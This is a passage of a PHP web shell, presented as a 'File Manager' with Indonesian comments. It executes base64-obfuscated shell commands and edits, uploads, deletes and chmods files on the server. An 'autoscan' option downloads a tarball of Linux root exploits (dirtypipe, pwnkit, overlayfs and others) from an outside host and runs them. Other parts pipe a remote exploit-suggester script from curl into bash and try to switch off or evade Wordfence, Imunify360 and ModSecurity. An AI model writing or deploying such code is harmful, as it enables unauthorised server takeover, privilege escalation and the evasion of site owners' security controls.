$item, 'type' => is_dir($itemPath) ? 'Folder' : 'File','size' => is_dir($itemPath) ? '' : formatSize(filesize($itemPath)), 'permission' => substr(sprintf('%o', fileperms($itemPath)), -4),]; if (is_dir($itemPath)) { $folders[] = $itemDetails; } else { $files[] = $itemDetails; } } return array_merge($folders, $files); } catch (Exception $e) { return 'None'; } } function formatSize($size) { $units = array('B', 'KB', 'MB', 'GB', 'TB'); $i = 0; while ($size >= 1024 && $i < 4) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } //cmd fitur function ekse($komend) { if (!function_exists("proc_open")) { die("proc_open function disabled !"); } elseif (!function_exists("base64_decode")) { die("base64_decode function disabled !"); } $komen = base64_decode(base64_decode(base64_decode($komend))); if (strpos($komend, "2>&1") === false) { $komen = base64_decode(base64_decode(base64_decode($komend)))." 2>&1"; } $tod = @proc_open($komen, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $pipes); echo "
┌──(".@get_current_user()."㉿kali)-[~".getcwd()."]
└─$ $komen
".htmlspecialchars(stream_get_contents($pipes[1]))."
"; } //buat scan root function exe_root($set,$sad) { $x = "preg_match"; $xx = "2>&1"; if (!$x("/".$xx."/i", $set)) { $set = $set." ".$xx; } $a = "function_exists"; $b = "proc_open"; $c = "htmlspecialchars"; $d = "stream_get_contents"; if ($a($b)) { $ps = $b($set, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $pink,$sad); return $d($pink[1]); } else { return "proc_open function is disabled !"; } } function readFileContent($file) { return file_get_contents($file); } function saveFileContent($file) { if (isset($_POST['content'])) { return file_put_contents($file, $_POST['content']) !== false; } return false; } //upfile function uploadFile($targetDirectory) { if (isset($_FILES['file'])) { $currentDirectory = getCurrentDirectory(); $targetFile = $targetDirectory . '/' . basename($_FILES['file']['name']); if ($_FILES['file']['size'] === 0) { return ''; } else { if (move_uploaded_file($_FILES['file']['tmp_name'], $targetFile)) { return ''; } else { return ''; } } return ''; } } //dir function changeDirectory($path) { if ($path === '..') { @chdir('..'); } else { @chdir($path); } } function getCurrentDirectory() { return realpath(getcwd()); } //open file juga folder function getLink($path, $name) { if (is_dir($path)) { return '' . $name . ''; } elseif (is_file($path)) { return '' . $name . ''; } } function getDirectoryArray($path) { $directories = explode('/', $path); $directoryArray = []; $currentPath = ''; foreach ($directories as $directory) { if (!empty($directory)) { $currentPath .= '/' . $directory; $directoryArray[] = ['path' => $currentPath,'name' => $directory,]; } } return $directoryArray; } function showBreadcrumb($path) { $path = str_replace('\\', '/', $path); $paths = explode('/', $path); ?> $pat) { ?>  : / /
Name Type Size Permission Actions
 
None
Swal.fire({title: "Oops...",text: "File atau direktori tidak ada",icon: "info"});'; } $permission = isset($_POST['permission']) ? $_POST['permission'] : ''; if ($permission === '') { return ''; } if (!is_dir($path) && !is_file($path)) { return ''; } $parsedPermission = intval($permission, 8); if ($parsedPermission === 0) { return ''; } if (chmodRecursive($path, $parsedPermission)) { return ''; } else { return ''; } } function chmodRecursive($path, $permission) { if (is_dir($path)) { $items = scandir($path); if ($items === false) { return false; } foreach ($items as $item) { if ($item == '.' || $item == '..') { continue; } $itemPath = $path . '/' . $item; if (is_dir($itemPath)) { if (!chmod($itemPath, $permission)) { return false; } if (!chmodRecursive($itemPath, $permission)) { return false; } } else { if (!chmod($itemPath, $permission)) { return false; } } } } else { if (!chmod($path, $permission)) { return false; } } return true; } //rename function renameFile($oldName, $newName) { if (file_exists($oldName)) { $directory = dirname($oldName); $newPath = $directory . '/' . $newName; if (rename($oldName, $newPath)) { return ''; } else { return ''; } } } //delete function deleteFile($file) { if (file_exists($file)) { if (unlink($file)) { return ''; } else { return ''; } } else { return ''; } } function deleteFolder($folder) { if (is_dir($folder)) { $files = glob($folder . '/*'); foreach ($files as $file) { is_dir($file) ? deleteFolder($file) : unlink($file); } if (rmdir($folder)) { return ''; } else { return ''; } } else { return ''; } } //main logic directory $currentDirectory = getCurrentDirectory(); $errorMessage = ''; $responseMessage = ''; if (isset($_GET['d'])) { changeDirectory($_GET['d']); $currentDirectory = getCurrentDirectory(); } //edit if (isset($_GET['edit'])) { $file = $_GET['edit']; $content = readFileContent($file); if ($_SERVER['REQUEST_METHOD'] === 'POST') { $saved = saveFileContent($file); if ($saved) { $responseMessage = ''; } else { $errorMessage = ''; } } } if (isset($_GET['chmod'])) { $file = $_GET['chmod']; if ($_SERVER['REQUEST_METHOD'] === 'POST') { $responseMessage = changePermission($file); } } if (isset($_POST['upload'])) { $responseMessage = uploadFile($currentDirectory); } if (isset($_GET['rename'])) { $file = $_GET['rename']; if ($_SERVER['REQUEST_METHOD'] === 'POST') { $newName = $_POST['new_name']; if (is_file($file) || is_dir($file)) { $responseMessage = renameFile($file, $newName); } else { $errorMessage = ''; } } } if (isset($_GET['delete'])) { $file = $_GET['delete']; if ($_SERVER['REQUEST_METHOD'] === 'GET') { $currentDirectory = getCurrentDirectory(); if (is_file($file)) { $responseMessage = deleteFile($file); } elseif (is_dir($file)) { $responseMessage = deleteFolder($file); } else { $errorMessage = ''; } } } // katanya bypass if (function_exists('litespeed_request_headers')) { $headers = litespeed_request_headers(); if (isset($headers['X-LSCACHE'])) { header('X-LSCACHE: off'); } } if (defined('WORDFENCE_VERSION')) { define('WORDFENCE_DISABLE_LIVE_TRAFFIC', true); define('WORDFENCE_DISABLE_FILE_MODS', true); } if (function_exists('imunify360_request_headers') && defined('IMUNIFY360_VERSION')) { $imunifyHeaders = imunify360_request_headers(); if (isset($imunifyHeaders['X-Imunify360-Request'])) { header('X-Imunify360-Request: bypass'); } if (isset($imunifyHeaders['X-Imunify360-Captcha-Bypass'])) { header('X-Imunify360-Captcha-Bypass: ' . $imunifyHeaders['X-Imunify360-Captcha-Bypass']); } } if (function_exists('apache_request_headers')) { $apacheHeaders = apache_request_headers(); if (isset($apacheHeaders['X-Mod-Security'])) { header('X-Mod-Security: ' . $apacheHeaders['X-Mod-Security']); } } if (isset($_SERVER['HTTP_CF_CONNECTING_IP']) && defined('CLOUDFLARE_VERSION')) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_CF_CONNECTING_IP']; if (isset($apacheHeaders['HTTP_CF_VISITOR'])) { header('HTTP_CF_VISITOR: ' . $apacheHeaders['HTTP_CF_VISITOR']); } } ?> File Manager
:
Swal.fire({title: "Oops..",text: "Kemungkinan file tidak ada",icon: "info"});'; } die(); } ?>
 Upload
Command is Disabled !
"; } if (!is_writable($currentDirectory)) { echo "
Current Directory is Unwriteable !
"; } if (isset($_GET['id_two']) && $_GET['id_two'] == "autoscan") { if (!file_exists($currentDirectory."/rooting/")) { mkdir($currentDirectory."/rooting"); exe_root("wget https://raw.githubusercontent.com/hekerprotzy/rootshell/main/auto.tar.gz", $currentDirectory."/rooting"); exe_root("tar -xf auto.tar.gz", $currentDirectory."/rooting"); if (!file_exists($currentDirectory."/rooting/netfilter")) { die("
Failed to Download Material !
"); } } echo '
Netfilter : '.exe_root("timeout 10 ./rooting/netfilter", $currentDirectory).'Ptrace : '.exe_root("echo id | timeout 10 ./rooting/ptrace", $currentDirectory).'Sequoia : '.exe_root("timeout 10 ./rooting/sequoia", $currentDirectory).'OverlayFS : '.exe_root("echo id | timeout 10 ./overlayfs", $currentDirectory."/rooting").'Dirtypipe : '.exe_root("echo id | timeout 10 ./rooting/dirtypipe /usr/bin/su", $currentDirectory).'Sudo : '.exe_root("echo 12345 | timeout 10 sudoedit -s Y", $currentDirectory).'Pwnkit : '.exe_root("echo id | timeout 10 ./pwnkit", $currentDirectory."/rooting").'
'; } elseif (isset($_GET['id_two']) && $_GET['id_two'] == "scansd") { echo '
[+] Scanning ...
'; echo '
'.exe_root("find / -perm -u=s -type f 2>/dev/null", $currentDirectory).'
'; } elseif (isset($_GET['id_two']) && $_GET['id_two'] == "esg") { echo '
[+] Loading ...
'; echo '
'.exe_root("curl -Lsk http://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh | bash", $currentDirectory).'
'; } ?>
 Cmd Base64
:
:
:

©  File Manager